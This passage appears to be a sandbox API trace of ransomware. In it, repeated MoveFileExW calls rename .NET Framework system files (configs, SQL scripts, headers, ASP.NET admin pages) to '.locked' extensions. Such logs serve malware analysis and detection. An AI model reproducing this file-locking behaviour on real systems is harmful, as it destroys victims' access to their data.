lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\InstallWebEventSqlProvider.sql.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\installwebeventsqlprovider.sql.locked"), dwFlags=0x2) returned 1 [0207.550] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\jsc.exe.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\jsc.exe.config"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\jsc.exe.config.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\jsc.exe.config.locked"), dwFlags=0x2) returned 1 [0207.560] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Microsoft.Workflow.Compiler.exe.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\microsoft.workflow.compiler.exe.config"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Microsoft.Workflow.Compiler.exe.config.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\microsoft.workflow.compiler.exe.config.locked"), dwFlags=0x2) returned 1 [0207.571] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\msbuild.exe.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\msbuild.exe.config"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\msbuild.exe.config.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\msbuild.exe.config.locked"), dwFlags=0x2) returned 1 [0207.577] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\netmemorycache.h" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\netmemorycache.h"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\netmemorycache.h.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\netmemorycache.h.locked"), dwFlags=0x2) returned 1 [0207.825] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.log" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\ngen.log"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.log.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\ngen.log.locked"), dwFlags=0x2) returned 1 [0207.961] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.old.log" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\ngen.old.log"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.old.log.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\ngen.old.log.locked"), dwFlags=0x2) returned 1 [0208.715] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen_service.log" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\ngen_service.log"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen_service.log.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\ngen_service.log.locked"), dwFlags=0x2) returned 1 [0208.720] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen_service.old.log" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\ngen_service.old.log"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen_service.old.log.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\ngen_service.old.log.locked"), dwFlags=0x2) returned 1 [0208.727] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\PerfCounters.h" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\perfcounters.h"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\PerfCounters.h.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\perfcounters.h.locked"), dwFlags=0x2) returned 1 [0208.729] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\regasm.exe.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\regasm.exe.config"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\regasm.exe.config.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\regasm.exe.config.locked"), dwFlags=0x2) returned 1 [0208.733] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\regsvcs.exe.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\regsvcs.exe.config"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\regsvcs.exe.config.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\regsvcs.exe.config.locked"), dwFlags=0x2) returned 1 [0208.738] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\SMSvcHost.exe.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\smsvchost.exe.config"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\SMSvcHost.exe.config.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\smsvchost.exe.config.locked"), dwFlags=0x2) returned 1 [0208.753] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\SQL\\en\\DropSqlPersistenceProviderLogic.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\sql\\en\\dropsqlpersistenceproviderlogic.sql"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\SQL\\en\\DropSqlPersistenceProviderLogic.sql.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\sql\\en\\dropsqlpersistenceproviderlogic.sql.locked"), dwFlags=0x2) returned 1 [0208.759] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\SQL\\en\\DropSqlPersistenceProviderSchema.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\sql\\en\\dropsqlpersistenceproviderschema.sql"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\SQL\\en\\DropSqlPersistenceProviderSchema.sql.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\sql\\en\\dropsqlpersistenceproviderschema.sql.locked"), dwFlags=0x2) returned 1 [0208.768] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\SQL\\en\\DropSqlWorkflowInstanceStoreLogic.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\sql\\en\\dropsqlworkflowinstancestorelogic.sql"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\SQL\\en\\DropSqlWorkflowInstanceStoreLogic.sql.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\sql\\en\\dropsqlworkflowinstancestorelogic.sql.locked"), dwFlags=0x2) returned 1 [0208.775] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\SQL\\en\\DropSqlWorkflowInstanceStoreSchema.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\sql\\en\\dropsqlworkflowinstancestoreschema.sql"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\SQL\\en\\DropSqlWorkflowInstanceStoreSchema.sql.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\sql\\en\\dropsqlworkflowinstancestoreschema.sql.locked"), dwFlags=0x2) returned 1 [0208.787] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\SQL\\en\\SqlPersistenceProviderLogic.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\sql\\en\\sqlpersistenceproviderlogic.sql"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\SQL\\en\\SqlPersistenceProviderLogic.sql.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\sql\\en\\sqlpersistenceproviderlogic.sql.locked"), dwFlags=0x2) returned 1 [0208.793] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\SQL\\en\\SqlPersistenceProviderSchema.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\sql\\en\\sqlpersistenceproviderschema.sql"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\SQL\\en\\SqlPersistenceProviderSchema.sql.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\sql\\en\\sqlpersistenceproviderschema.sql.locked"), dwFlags=0x2) returned 1 [0208.819] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\SQL\\en\\SqlPersistenceService_Logic.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\sql\\en\\sqlpersistenceservice_logic.sql"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\SQL\\en\\SqlPersistenceService_Logic.sql.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\sql\\en\\sqlpersistenceservice_logic.sql.locked"), dwFlags=0x2) returned 1 [0208.828] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\SQL\\en\\SqlPersistenceService_Schema.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\sql\\en\\sqlpersistenceservice_schema.sql"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\SQL\\en\\SqlPersistenceService_Schema.sql.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\sql\\en\\sqlpersistenceservice_schema.sql.locked"), dwFlags=0x2) returned 1 [0209.260] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\SQL\\en\\SqlWorkflowInstanceStoreLogic.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\sql\\en\\sqlworkflowinstancestorelogic.sql"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\SQL\\en\\SqlWorkflowInstanceStoreLogic.sql.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\sql\\en\\sqlworkflowinstancestorelogic.sql.locked"), dwFlags=0x2) returned 1 [0209.308] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\SQL\\en\\SqlWorkflowInstanceStoreSchema.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\sql\\en\\sqlworkflowinstancestoreschema.sql"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\SQL\\en\\SqlWorkflowInstanceStoreSchema.sql.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\sql\\en\\sqlworkflowinstancestoreschema.sql.locked"), dwFlags=0x2) returned 1 [0209.385] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\SQL\\en\\SqlWorkflowInstanceStoreSchemaUpgrade.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\sql\\en\\sqlworkflowinstancestoreschemaupgrade.sql"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\SQL\\en\\SqlWorkflowInstanceStoreSchemaUpgrade.sql.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\sql\\en\\sqlworkflowinstancestoreschemaupgrade.sql.locked"), dwFlags=0x2) returned 1 [0209.798] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\SQL\\en\\Tracking_Logic.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\sql\\en\\tracking_logic.sql"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\SQL\\en\\Tracking_Logic.sql.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\sql\\en\\tracking_logic.sql.locked"), dwFlags=0x2) returned 1 [0209.854] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\SQL\\en\\Tracking_Schema.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\sql\\en\\tracking_schema.sql"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\SQL\\en\\Tracking_Schema.sql.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\sql\\en\\tracking_schema.sql.locked"), dwFlags=0x2) returned 1 [0209.906] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ThirdPartyNotices.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\thirdpartynotices.txt"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ThirdPartyNotices.txt.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\thirdpartynotices.txt.locked"), dwFlags=0x2) returned 1 [0209.913] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\UninstallCommon.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\uninstallcommon.sql"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\UninstallCommon.sql.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\uninstallcommon.sql.locked"), dwFlags=0x2) returned 1 [0209.923] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\UninstallMembership.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\uninstallmembership.sql"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\UninstallMembership.sql.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\uninstallmembership.sql.locked"), dwFlags=0x2) returned 1 [0209.936] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\UninstallPersistSqlState.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\uninstallpersistsqlstate.sql"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\UninstallPersistSqlState.sql.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\uninstallpersistsqlstate.sql.locked"), dwFlags=0x2) returned 1 [0209.948] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\UninstallPersonalization.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\uninstallpersonalization.sql"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\UninstallPersonalization.sql.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\uninstallpersonalization.sql.locked"), dwFlags=0x2) returned 1 [0209.958] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\UninstallRoles.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\uninstallroles.sql"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\UninstallRoles.sql.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\uninstallroles.sql.locked"), dwFlags=0x2) returned 1 [0209.970] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\UninstallSqlState.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\uninstallsqlstate.sql"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\UninstallSqlState.sql.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\uninstallsqlstate.sql.locked"), dwFlags=0x2) returned 1 [0209.984] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\UninstallSqlStateTemplate.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\uninstallsqlstatetemplate.sql"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\UninstallSqlStateTemplate.sql.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\uninstallsqlstatetemplate.sql.locked"), dwFlags=0x2) returned 1 [0209.990] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\UninstallWebEventSqlProvider.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\uninstallwebeventsqlprovider.sql"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\UninstallWebEventSqlProvider.sql.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\uninstallwebeventsqlprovider.sql.locked"), dwFlags=0x2) returned 1 [0209.992] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\vbc.exe.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\vbc.exe.config"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\vbc.exe.config.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\vbc.exe.config.locked"), dwFlags=0x2) returned 1 [0210.004] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\_DataOracleClientPerfCounters_shared12_neutral.h" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\_dataoracleclientperfcounters_shared12_neutral.h"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\_DataOracleClientPerfCounters_shared12_neutral.h.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\_dataoracleclientperfcounters_shared12_neutral.h.locked"), dwFlags=0x2) returned 1 [0210.010] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\_DataPerfCounters.h" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\_dataperfcounters.h"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\_DataPerfCounters.h.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\_dataperfcounters.h.locked"), dwFlags=0x2) returned 1 [0210.015] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\_dataperfcounters_shared12_neutral.h" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\_dataperfcounters_shared12_neutral.h"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\_dataperfcounters_shared12_neutral.h.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\_dataperfcounters_shared12_neutral.h.locked"), dwFlags=0x2) returned 1 [0210.019] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\_NetworkingPerfCounters.h" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\_networkingperfcounters.h"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\_NetworkingPerfCounters.h.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\_networkingperfcounters.h.locked"), dwFlags=0x2) returned 1 [0210.023] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\_NetworkingPerfCounters_v2.h" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\_networkingperfcounters_v2.h"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\_NetworkingPerfCounters_v2.h.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\_networkingperfcounters_v2.h.locked"), dwFlags=0x2) returned 1 [0210.027] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\_SMSvcHostPerfCounters.h" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\_smsvchostperfcounters.h"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\_SMSvcHostPerfCounters.h.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\_smsvchostperfcounters.h.locked"), dwFlags=0x2) returned 1 [0210.031] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\_TransactionBridgePerfCounters.h" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\_transactionbridgeperfcounters.h"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\_TransactionBridgePerfCounters.h.locked" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\_transactionbridgeperfcounters.h.locked"), dwFlags=0x2) returned 1 [0210.055] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\AppConfig\\AppConfigHome.aspx" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\appconfig\\appconfighome.aspx"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\AppConfig\\AppConfigHome.aspx.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\appconfig\\appconfighome.aspx.locked"), dwFlags=0x2) returned 1 [0210.064] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\AppConfig\\CreateAppSetting.aspx" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\appconfig\\createappsetting.aspx"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\AppConfig\\CreateAppSetting.aspx.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\appconfig\\createappsetting.aspx.locked"), dwFlags=0x2) returned 1 [0210.079] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\AppConfig\\DebugAndTrace.aspx" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\appconfig\\debugandtrace.aspx"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\AppConfig\\DebugAndTrace.aspx.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\appconfig\\debugandtrace.aspx.locked"), dwFlags=0x2) returned 1 [0210.099] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\AppConfig\\DefineErrorPage.aspx" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\appconfig\\defineerrorpage.aspx"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\AppConfig\\DefineErrorPage.aspx.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\appconfig\\defineerrorpage.aspx.locked"), dwFlags=0x2) returned 1 [0210.104] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\AppConfig\\EditAppSetting.aspx" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\appconfig\\editappsetting.aspx"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\AppConfig\\EditAppSetting.aspx.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\appconfig\\editappsetting.aspx.locked"), dwFlags=0x2) returned 1 [0210.121] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\AppConfig\\ManageAppSettings.aspx" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\appconfig\\manageappsettings.aspx"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\AppConfig\\ManageAppSettings.aspx.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\appconfig\\manageappsettings.aspx.locked"), dwFlags=0x2) returned 1 [0210.142] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\AppConfig\\SmtpSettings.aspx" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\appconfig\\smtpsettings.aspx"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\AppConfig\\SmtpSettings.aspx.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\appconfig\\smtpsettings.aspx.locked"), dwFlags=0x2) returned 1 [0210.148] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\App_Code\\ApplicationConfigurationPage.cs" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\app_code\\applicationconfigurationpage.cs"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\App_Code\\ApplicationConfigurationPage.cs.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\app_code\\applicationconfigurationpage.cs.locked"), dwFlags=0x2) returned 1 [0210.153] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\App_Code\\NavigationBar.cs" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\app_code\\navigationbar.cs"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\App_Code\\NavigationBar.cs.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\app_code\\navigationbar.cs.locked"), dwFlags=0x2) returned 1 [0210.156] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\App_Code\\PasswordValueTextBox.cs" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\app_code\\passwordvaluetextbox.cs"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\App_Code\\PasswordValueTextBox.cs.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\app_code\\passwordvaluetextbox.cs.locked"), dwFlags=0x2) returned 1 [0210.165] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\App_Code\\ProvidersPage.cs" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\app_code\\providerspage.cs"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\App_Code\\ProvidersPage.cs.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\app_code\\providerspage.cs.locked"), dwFlags=0x2) returned 1 [0210.169] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\App_Code\\SecurityPage.cs" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\asp.netwebadminfiles\\app_code\\securitypage.cs"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\ASP.NETWebAdminFiles\\App_Code\\SecurityPage.cs.locked" (normalized: 